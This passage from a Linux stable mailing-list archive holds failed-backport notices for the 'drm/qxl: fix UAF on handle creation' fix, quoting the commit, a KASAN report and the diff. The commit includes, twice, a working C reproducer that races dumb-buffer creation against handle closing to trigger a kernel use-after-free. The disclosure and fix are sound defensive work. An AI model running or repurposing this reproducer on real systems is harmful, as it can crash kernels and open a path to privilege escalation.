struct drm_qxl_alloc_surf *param = data;
- struct qxl_bo *qobj;
int handle;
int ret;
int size, actual_stride;
@@ -406,7 +404,7 @@ int qxl_alloc_surf_ioctl(struct drm_device *dev, void *data, struct drm_file *fi
QXL_GEM_DOMAIN_SURFACE,
size,
&surf,
- &qobj, &handle);
+ NULL, &handle);
if (ret) {
DRM_ERROR("%s: failed to create gem ret=%d\n",
__func__, ret);
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] drm/qxl: fix UAF on handle creation" failed to apply to 4.19-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 4.19-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-4.19.y
git checkout FETCH_HEAD
git cherry-pick -x c611589b4259ed63b9b77be6872b1ce07ec0ac16
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082131-humorous-moonbeam-70d6@gregkh' --subject-prefix 'PATCH 4.19.y' HEAD^..
Possible dependencies:
c611589b4259 ("drm/qxl: fix UAF on handle creation")
f4a84e165e6d ("drm/qxl: allocate dumb buffers in ram")
9c86fb18ad9d ("drm/qxl: remove _unlocked suffix in drm_gem_object_put_unlocked")
e0828d54c81c ("drm/qxl: use embedded gem object")
90adda2ce898 ("drm/qxl: cover all crtcs in shadow bo.")
4979904c62b9 ("drm/qxl: use shadow bo directly")
166205444b90 ("drm/qxl: track primary bo")
fb7ebc0119ed ("drm/qxl: drop unused offset parameter from qxl_io_create_primary()")
1f85535cd04c ("drm/qxl: move qxl_primary_apply_cursor to correct place")
f3bc22f04d44 ("drm/qxl: use QXL_GEM_DOMAIN_SURFACE for dumb gem objects")
247156d7e2fa ("drm/qxl: use QXL_GEM_DOMAIN_SURFACE for shadow bo.")
94feeaafbefd ("drm/qxl: Use 'unsigned int' instead of 'bool'")
1b000494978d ("drm/qxl: Use 'unsigned int' instead of 'usigned'")
408799eb4ad4 ("drm/qxl: Add line after variable declarations")
bf8744e40cd6 ("qxl: refactor to use drm_fb_helper_fbdev_setup")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From c611589b4259ed63b9b77be6872b1ce07ec0ac16 Mon Sep 17 00:00:00 2001
From: Wander Lairson Costa <wander(a)redhat.com>
Date: Mon, 14 Aug 2023 13:51:19 -0300
Subject: [PATCH] drm/qxl: fix UAF on handle creation
qxl_mode_dumb_create() dereferences the qobj returned by
qxl_gem_object_create_with_handle(), but the handle is the only one
holding a reference to it.
A potential attacker could guess the returned handle value and closes it
between the return of qxl_gem_object_create_with_handle() and the qobj
usage, triggering a use-after-free scenario.
Reproducer:
int dri_fd =-1;
struct drm_mode_create_dumb arg = {0};
void gem_close(int handle);
void* trigger(void* ptr)
{
int ret;
arg.width = arg.height = 0x20;
arg.bpp = 32;
ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg);
if(ret)
{
perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
exit(-1);
}
gem_close(arg.handle);
while(1) {
struct drm_mode_create_dumb args = {0};
args.width = args.height = 0x20;
args.bpp = 32;
ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args);
if (ret) {
perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
exit(-1);
}
printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle);
gem_close(args.handle);
}
return NULL;
}
void gem_close(int handle)
{
struct drm_gem_close args;
args.handle = handle;
int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle
if (!ret)
printf("gem close handle %d\n", args.handle);
}
int main(void)
{
dri_fd= open("/dev/dri/card0", O_RDWR);
printf("fd:%d\n", dri_fd);
if(dri_fd == -1)
return -1;
pthread_t tid1;
if(pthread_create(&tid1,NULL,trigger,NULL)){
perror("[*] thread_create tid1\n");
return -1;
}
while (1)
{
gem_close(arg.handle);
}
return 0;
}
This is a KASAN report:
==================================================================
BUG: KASAN: slab-use-after-free in qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
Write of size 1 at addr ffff88801136c240 by task poc/515
CPU: 1 PID: 515 Comm: poc Not tainted 6.3.0 #3
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-4 04/01/2014
Call Trace:
<TASK>
__dump_stack linux/lib/dump_stack.c:88
dump_stack_lvl+0x48/0x70 linux/lib/dump_stack.c:106
print_address_description linux/mm/kasan/report.c:319
print_report+0xd2/0x660 linux/mm/kasan/report.c:430
kasan_report+0xd2/0x110 linux/mm/kasan/report.c:536
__asan_report_store1_noabort+0x17/0x30 linux/mm/kasan/report_generic.c:383
qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
RIP: 0033:0x7ff5004ff5f7
Code: 00 00 00 48 8b 05 99 c8 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 69 c8 0d 00 f7 d8 64 89 01 48
RSP: 002b:00007ff500408ea8 EFLAGS: 00000286 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff5004ff5f7
RDX: 00007ff500408ec0 RSI: 00000000c02064b2 RDI: 0000000000000003
RBP: 00007ff500408ef0 R08: 0000000000000000 R09: 000000000000002a
R10: 0000000000000000 R11: 0000000000000286 R12: 00007fff1c6cdafe
R13: 00007fff1c6cdaff R14: 00007ff500408fc0 R15: 0000000000802000
</TASK>
Allocated by task 515:
kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
kasan_save_alloc_info+0x1e/0x40 linux/mm/kasan/generic.c:510
____kasan_kmalloc linux/mm/kasan/common.c:374
__kasan_kmalloc+0xc3/0xd0 linux/mm/kasan/common.c:383
kasan_kmalloc linux/./include/linux/kasan.h:196
kmalloc_trace+0x48/0xc0 linux/mm/slab_common.c:1066
kmalloc linux/./include/linux/slab.h:580
kzalloc linux/./include/linux/slab.h:720
qxl_bo_create+0x11a/0x610 linux/drivers/gpu/drm/qxl/qxl_object.c:124
qxl_gem_object_create+0xd9/0x360 linux/drivers/gpu/drm/qxl/qxl_gem.c:58
qxl_gem_object_create_with_handle+0xa1/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:89
qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
Freed by task 515:
kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
kasan_save_free_info+0x2e/0x60 linux/mm/kasan/generic.c:521
____kasan_slab_free linux/mm/kasan/common.c:236
____kasan_slab_free+0x180/0x1f0 linux/mm/kasan/common.c:200
__kasan_slab_free+0x12/0x30 linux/mm/kasan/common.c:244
kasan_slab_free linux/./include/linux/kasan.h:162
slab_free_hook linux/mm/slub.c:1781
slab_free_freelist_hook+0xd2/0x1a0 linux/mm/slub.c:1807
slab_free linux/mm/slub.c:3787
__kmem_cache_free+0x196/0x2d0 linux/mm/slub.c:3800
kfree+0x78/0x120 linux/mm/slab_common.c:1019
qxl_ttm_bo_destroy+0x140/0x1a0 linux/drivers/gpu/drm/qxl/qxl_object.c:49
ttm_bo_release+0x678/0xa30 linux/drivers/gpu/drm/ttm/ttm_bo.c:381
kref_put linux/./include/linux/kref.h:65
ttm_bo_put+0x50/0x80 linux/drivers/gpu/drm/ttm/ttm_bo.c:393
qxl_gem_object_free+0x3e/0x60 linux/drivers/gpu/drm/qxl/qxl_gem.c:42
drm_gem_object_free+0x5c/0x90 linux/drivers/gpu/drm/drm_gem.c:974
kref_put linux/./include/linux/kref.h:65
__drm_gem_object_put linux/./include/drm/drm_gem.h:431
drm_gem_object_put linux/./include/drm/drm_gem.h:444
qxl_gem_object_create_with_handle+0x151/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:100
qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
The buggy address belongs to the object at ffff88801136c000
which belongs to the cache kmalloc-1k of size 1024
The buggy address is located 576 bytes inside of
freed 1024-byte region [ffff88801136c000, ffff88801136c400)
The buggy address belongs to the physical page:
page:0000000089fc329b refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11368
head:0000000089fc329b order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x1fffff)
raw: 000fffffc0010200 ffff888007841dc0 dead000000000122 0000000000000000
raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected
Memory state around the buggy address:
ffff88801136c100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88801136c180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88801136c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ffff88801136c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88801136c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
Disabling lock debugging due to kernel taint
Instead of returning a weak reference to the qxl_bo object, return the
created drm_gem_object and let the caller decrement the reference count
when it no longer needs it. As a convenience, if the caller is not
interested in the gobj object, it can pass NULL to the parameter and the
reference counting is descremented internally.
The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940).
Link: https://www.zerodayinitiative.com/
Signed-off-by: Wander Lairson Costa <wander(a)redhat.com>
Cc: stable(a)vger.kernel.org
Reviewed-by: Dave Airlie <airlied(a)redhat.com>
Signed-off-by: Dave Airlie <airlied(a)redhat.com>
Link: https://patchwork.freedesktop.org/patch/msgid/20230814165119.90847-1-wander…
diff --git a/drivers/gpu/drm/qxl/qxl_drv.h b/drivers/gpu/drm/qxl/qxl_drv.h
index ea993d7162e8..307a890fde13 100644
--- a/drivers/gpu/drm/qxl/qxl_drv.h
+++ b/drivers/gpu/drm/qxl/qxl_drv.h
@@ -310,7 +310,7 @@ int qxl_gem_object_create_with_handle(struct qxl_device *qdev,
u32 domain,
size_t size,
struct qxl_surface *surf,
- struct qxl_bo **qobj,
+ struct drm_gem_object **gobj,
uint32_t *handle);
void qxl_gem_object_free(struct drm_gem_object *gobj);
int qxl_gem_object_open(struct drm_gem_object *obj, struct drm_file *file_priv);
diff --git a/drivers/gpu/drm/qxl/qxl_dumb.c b/drivers/gpu/drm/qxl/qxl_dumb.c
index d636ba685451..17df5c7ccf69 100644
--- a/drivers/gpu/drm/qxl/qxl_dumb.c
+++ b/drivers/gpu/drm/qxl/qxl_dumb.c
@@ -34,6 +34,7 @@ int qxl_mode_dumb_create(struct drm_file *file_priv,
{
struct qxl_device *qdev = to_qxl(dev);
struct qxl_bo *qobj;
+ struct drm_gem_object *gobj;
uint32_t handle;
int r;
struct qxl_surface surf;
@@ -62,11 +63,13 @@ int qxl_mode_dumb_create(struct drm_file *file_priv,
r = qxl_gem_object_create_with_handle(qdev, file_priv,
QXL_GEM_DOMAIN_CPU,
- args->size, &surf, &qobj,
+ args->size, &surf, &gobj,
&handle);
if (r)
return r;
+ qobj = gem_to_qxl_bo(gobj);
qobj->is_dumb = true;
+ drm_gem_object_put(gobj);
args->pitch = pitch;
args->handle = handle;
return 0;
diff --git a/drivers/gpu/drm/qxl/qxl_gem.c b/drivers/gpu/drm/qxl/qxl_gem.c
index a08da0bd9098..fc5e3763c359 100644
--- a/drivers/gpu/drm/qxl/qxl_gem.c
+++ b/drivers/gpu/drm/qxl/qxl_gem.c
@@ -72,32 +72,41 @@ int qxl_gem_object_create(struct qxl_device *qdev, int size,
return 0;
}
+/*
+ * If the caller passed a valid gobj pointer, it is responsible to call
+ * drm_gem_object_put() when it no longer needs to acess the object.
+ *
+ * If gobj is NULL, it is handled internally.
+ */
int qxl_gem_object_create_with_handle(struct qxl_device *qdev,
struct drm_file *file_priv,
u32 domain,
size_t size,
struct qxl_surface *surf,
- struct qxl_bo **qobj,
+ struct drm_gem_object **gobj,
uint32_t *handle)
{
- struct drm_gem_object *gobj;
int r;
+ struct drm_gem_object *local_gobj;
- BUG_ON(!qobj);
BUG_ON(!handle);
r = qxl_gem_object_create(qdev, size, 0,
domain,
false, false, surf,
- &gobj);
+ &local_gobj);
if (r)
return -ENOMEM;
- r = drm_gem_handle_create(file_priv, gobj, handle);
+ r = drm_gem_handle_create(file_priv, local_gobj, handle);
if (r)
return r;
- /* drop reference from allocate - handle holds it now */
- *qobj = gem_to_qxl_bo(gobj);
- drm_gem_object_put(gobj);
+
+ if (gobj)
+ *gobj = local_gobj;
+ else
+ /* drop reference from allocate - handle holds it now */
+ drm_gem_object_put(local_gobj);
+
return 0;
}
diff --git a/drivers/gpu/drm/qxl/qxl_ioctl.c b/drivers/gpu/drm/qxl/qxl_ioctl.c
index 30f58b21372a..dd0f834d881c 100644
--- a/drivers/gpu/drm/qxl/qxl_ioctl.c
+++ b/drivers/gpu/drm/qxl/qxl_ioctl.c
@@ -38,7 +38,6 @@ int qxl_alloc_ioctl(struct drm_device *dev, void *data, struct drm_file *file_pr
struct qxl_device *qdev = to_qxl(dev);
struct drm_qxl_alloc *qxl_alloc = data;
int ret;
- struct qxl_bo *qobj;
uint32_t handle;
u32 domain = QXL_GEM_DOMAIN_VRAM;
@@ -50,7 +49,7 @@ int qxl_alloc_ioctl(struct drm_device *dev, void *data, struct drm_file *file_pr
domain,
qxl_alloc->size,
NULL,
- &qobj, &handle);
+ NULL, &handle);
if (ret) {
DRM_ERROR("%s: failed to create gem ret=%d\n",
__func__, ret);
@@ -386,7 +385,6 @@ int qxl_alloc_surf_ioctl(struct drm_device *dev, void *data, struct drm_file *fi
{
struct qxl_device *qdev = to_qxl(dev);
struct drm_qxl_alloc_surf *param = data;
- struct qxl_bo *qobj;
int handle;
int ret;
int size, actual_stride;
@@ -406,7 +404,7 @@ int qxl_alloc_surf_ioctl(struct drm_device *dev, void *data, struct drm_file *fi
QXL_GEM_DOMAIN_SURFACE,
size,
&surf,
- &qobj, &handle);
+ NULL, &handle);
if (ret) {
DRM_ERROR("%s: failed to create gem ret=%d\n",
__func__, ret);
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] drm/qxl: fix UAF on handle creation" failed to apply to 5.4-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.4-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.4.y
git checkout FETCH_HEAD
git cherry-pick -x c611589b4259ed63b9b77be6872b1ce07ec0ac16
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082126-geologist-exit-f32d@gregkh' --subject-prefix 'PATCH 5.4.y' HEAD^..
Possible dependencies:
c611589b4259 ("drm/qxl: fix UAF on handle creation")
f4a84e165e6d ("drm/qxl: allocate dumb buffers in ram")
9c86fb18ad9d ("drm/qxl: remove _unlocked suffix in drm_gem_object_put_unlocked")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From c611589b4259ed63b9b77be6872b1ce07ec0ac16 Mon Sep 17 00:00:00 2001
From: Wander Lairson Costa <wander(a)redhat.com>
Date: Mon, 14 Aug 2023 13:51:19 -0300
Subject: [PATCH] drm/qxl: fix UAF on handle creation
qxl_mode_dumb_create() dereferences the qobj returned by
qxl_gem_object_create_with_handle(), but the handle is the only one
holding a reference to it.
A potential attacker could guess the returned handle value and closes it
between the return of qxl_gem_object_create_with_handle() and the qobj
usage, triggering a use-after-free scenario.
Reproducer:
int dri_fd =-1;
struct drm_mode_create_dumb arg = {0};
void gem_close(int handle);
void* trigger(void* ptr)
{
int ret;
arg.width = arg.height = 0x20;
arg.bpp = 32;
ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg);
if(ret)
{
perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
exit(-1);
}
gem_close(arg.handle);
while(1) {
struct drm_mode_create_dumb args = {0};
args.width = args.height = 0x20;
args.bpp = 32;
ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args);
if (ret) {
perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
exit(-1);
}
printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle);
gem_close(args.handle);
}
return NULL;
}
void gem_close(int handle)
{
struct drm_gem_close args;
args.handle = handle;
int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle
if (!ret)
printf("gem close handle %d\n", args.handle);
}
int main(void)
{
dri_fd= open("/dev/dri/card0", O_RDWR);
printf("fd:%d\n", dri_fd);
if(dri_fd == -1)
return -1;
pthread_t tid1;
if(pthread_create(&tid1,NULL,trigger,NULL)){
perror("[*] thread_create tid1\n");
return -1;
}
while (1)
{
gem_close(arg.handle);
}
return 0;
}
This is a KASAN report:
==================================================================
BUG: KASAN: slab-use-after-free in qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
Write of size 1 at addr ffff88801136c240 by task poc/515
CPU: 1 PID: 515 Comm: poc Not tainted 6.3.0 #3
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-4 04/01/2014
Call Trace:
<TASK>
__dump_stack linux/lib/dump_stack.c:88
dump_stack_lvl+0x48/0x70 linux/lib/dump_stack.c:106
print_address_description linux/mm/kasan/report.c:319
print_report+0xd2/0x660 linux/mm/kasan/report.c:430
kasan_report+0xd2/0x110 linux/mm/kasan/report.c:536
__asan_report_store1_noabort+0x17/0x30 linux/mm/kasan/report_generic.c:383
qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
RIP: 0033:0x7ff5004ff5f7
Code: 00 00 00 48 8b 05 99 c8 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 69 c8 0d 00 f7 d8 64 89 01 48
RSP: 002b:00007ff500408ea8 EFLAGS: 00000286 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff5004ff5f7
RDX: 00007ff500408ec0 RSI: 00000000c02064b2 RDI: 0000000000000003
RBP: 00007ff500408ef0 R08: 0000000000000000 R09: 000000000000002a
R10: 0000000000000000 R11: 0000000000000286 R12: 00007fff1c6cdafe
R13: 00007fff1c6cdaff R14: 00007ff500408fc0 R15: 0000000000802000
</TASK>
Allocated by task 515:
kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
kasan_save_alloc_info+0x1e/0x40 linux/mm/kasan/generic.c:510
____kasan_kmalloc linux/mm/kasan/common.c:374
__kasan_kmalloc+0xc3/0xd0 linux/mm/kasan/common.c:383
kasan_kmalloc linux/./include/linux/kasan.h:196
kmalloc_trace+0x48/0xc0 linux/mm/slab_common.c:1066
kmalloc linux/./include/linux/slab.h:580
kzalloc linux/./include/linux/slab.h:720
qxl_bo_create+0x11a/0x610 linux/drivers/gpu/drm/qxl/qxl_object.c:124
qxl_gem_object_create+0xd9/0x360 linux/drivers/gpu/drm/qxl/qxl_gem.c:58
qxl_gem_object_create_with_handle+0xa1/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:89
qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
Freed by task 515:
kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
kasan_save_free_info+0x2e/0x60 linux/mm/kasan/generic.c:521
____kasan_slab_free linux/mm/kasan/common.c:236
____kasan_slab_free+0x180/0x1f0 linux/mm/kasan/common.c:200
__kasan_slab_free+0x12/0x30 linux/mm/kasan/common.c:244
kasan_slab_free linux/./include/linux/kasan.h:162
slab_free_hook linux/mm/slub.c:1781
slab_free_freelist_hook+0xd2/0x1a0 linux/mm/slub.c:1807
slab_free linux/mm/slub.c:3787
__kmem_cache_free+0x196/0x2d0 linux/mm/slub.c:3800
kfree+0x78/0x120 linux/mm/slab_common.c:1019
qxl_ttm_bo_destroy+0x140/0x1a0 linux/drivers/gpu/drm/qxl/qxl_object.c:49
ttm_bo_release+0x678/0xa30 linux/drivers/gpu/drm/ttm/ttm_bo.c:381
kref_put linux/./include/linux/kref.h:65
ttm_bo_put+0x50/0x80 linux/drivers/gpu/drm/ttm/ttm_bo.c:393
qxl_gem_object_free+0x3e/0x60 linux/drivers/gpu/drm/qxl/qxl_gem.c:42
drm_gem_object_free+0x5c/0x90 linux/drivers/gpu/drm/drm_gem.c:974
kref_put linux/./include/linux/kref.h:65
__drm_gem_object_put linux/./include/drm/drm_gem.h:431
drm_gem_object_put linux/./include/drm/drm_gem.h:444
qxl_gem_object_create_with_handle+0x151/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:100
qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
The buggy address belongs to the object at ffff88801136c000
which belongs to the cache kmalloc-1k of size 1024
The buggy address is located 576 bytes inside of
freed 1024-byte region [ffff88801136c000, ffff88801136c400)
The buggy address belongs to the physical page:
page:0000000089fc329b refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11368
head:0000000089fc329b order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x1fffff)
raw: 000fffffc0010200 ffff888007841dc0 dead000000000122 0000000000000000
raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected
Memory state around the buggy address:
ffff88801136c100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88801136c180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88801136c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ffff88801136c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88801136c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
Disabling lock debugging due to kernel taint
Instead of returning a weak reference to the qxl_bo object, return the
created drm_gem_object and let the caller decrement the reference count
when it no longer needs it. As a convenience, if the caller is not
interested in the gobj object, it can pass NULL to the parameter and the
reference counting is descremented internally.
The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940).
Link: https://www.zerodayinitiative.com/
Signed-off-by: Wander Lairson Costa <wander(a)redhat.com>
Cc: stable(a)vger.kernel.org
Reviewed-by: Dave Airlie <airlied(a)redhat.com>
Signed-off-by: Dave Airlie <airlied(a)redhat.com>
Link: https://patchwork.freedesktop.org/patch/msgid/20230814165119.90847-1-wander…
diff --git a/drivers/gpu/drm/qxl/qxl_drv.h b/drivers/gpu/drm/qxl/qxl_drv.h
index ea993d7162e8..307a890fde13 100644
--- a/drivers/gpu/drm/qxl/qxl_drv.h
+++ b/drivers/gpu/drm/qxl/qxl_drv.h
@@ -310,7 +310,7 @@ int qxl_gem_object_create_with_handle(struct qxl_device *qdev,
u32 domain,
size_t size,
struct qxl_surface *surf,
- struct qxl_bo **qobj,
+ struct drm_gem_object **gobj,
uint32_t *handle);
void qxl_gem_object_free(struct drm_gem_object *gobj);
int qxl_gem_object_open(struct drm_gem_object *obj, struct drm_file *file_priv);
diff --git a/drivers/gpu/drm/qxl/qxl_dumb.c b/drivers/gpu/drm/qxl/qxl_dumb.c
index d636ba685451..17df5c7ccf69 100644
--- a/drivers/gpu/drm/qxl/qxl_dumb.c
+++ b/drivers/gpu/drm/qxl/qxl_dumb.c
@@ -34,6 +34,7 @@ int qxl_mode_dumb_create(struct drm_file *file_priv,
{
struct qxl_device *qdev = to_qxl(dev);
struct qxl_bo *qobj;
+ struct drm_gem_object *gobj;
uint32_t handle;
int r;
struct qxl_surface surf;
@@ -62,11 +63,13 @@ int qxl_mode_dumb_create(struct drm_file *file_priv,
r = qxl_gem_object_create_with_handle(qdev, file_priv,
QXL_GEM_DOMAIN_CPU,
